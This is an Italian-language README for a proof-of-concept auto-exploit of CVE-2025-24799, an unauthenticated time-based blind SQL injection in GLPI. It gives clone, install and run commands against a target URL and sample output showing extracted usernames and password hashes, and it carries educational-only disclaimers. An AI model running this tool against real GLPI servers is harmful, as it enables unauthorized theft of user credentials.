CVE-2025-24799 Auto Exploit

---

⚡ Panoramica

CVE-2025-24799 è un exploit proof-of-concept (PoC) che ha come bersaglio GLPI.
Questo exploit dimostra una SQL Injection non autenticata (blind basata sul tempo) per estrarre le credenziali degli utenti.

Disclaimer: Questo PoC ha solo scopo educativo. Non utilizzarlo su sistemi senza autorizzazione.

---

🛠 Funzionalità

• Rileva la tabella glpi_users e le colonne richieste (name e password)
• Estrae username e password in sequenza
• SQL injection blind basata sul tempo per lo sfruttamento non autenticato
• Output colorato nella console con messaggi di stato, successo, errore e informazioni
• Funziona su Python 3.x con dipendenze minime

---

⚙️ Installazione

1. Clona il repository:

git clone https://github.com/Rosemary1337/CVE-2025-24799.git
cd CVE-2025-24799

2. Installa le dipendenze:

pip install -r requirements.txt

Requisiti: requests, colorama, beautifulsoup4

---

🚀 Utilizzo

python3 main.py -u <TARGET_URL>

Esempio:

python3 main.py -u http://target.com/index.php/ajax

Argomenti

Flag	Descrizione	Obbligatorio	Predefinito
-u, --url	URL di destinazione	Sì	-

---

🎨 Output

La console mostra:

• Messaggi di stato [•]
• Successo [✔]
• Errore [✖]
• Informazioni [i]

Esempio:

[•] Exploiting CVE-2025-24799...
[✔] Table 'glpi_users' found.
[✔] Required columns verified.
[i] Starting credential extraction...

[+] Credential 1: admin:5f4dcc3b5aa765d61d8327deb882cf99
[+] Credential 2: user:123456
[*] Extraction complete.

---

🔐 Sicurezza e Disclaimer

• Solo per scopi educativi e di test.
• Non attaccare siti web senza autorizzazione esplicita.
• Utilizza solo in un laboratorio controllato o in un penetration test autorizzato.

---

🔗 Contattami

Sono uno sviluppatore attivo a cui piace creare strumenti e condividere conoscenza. Puoi contattarmi tramite: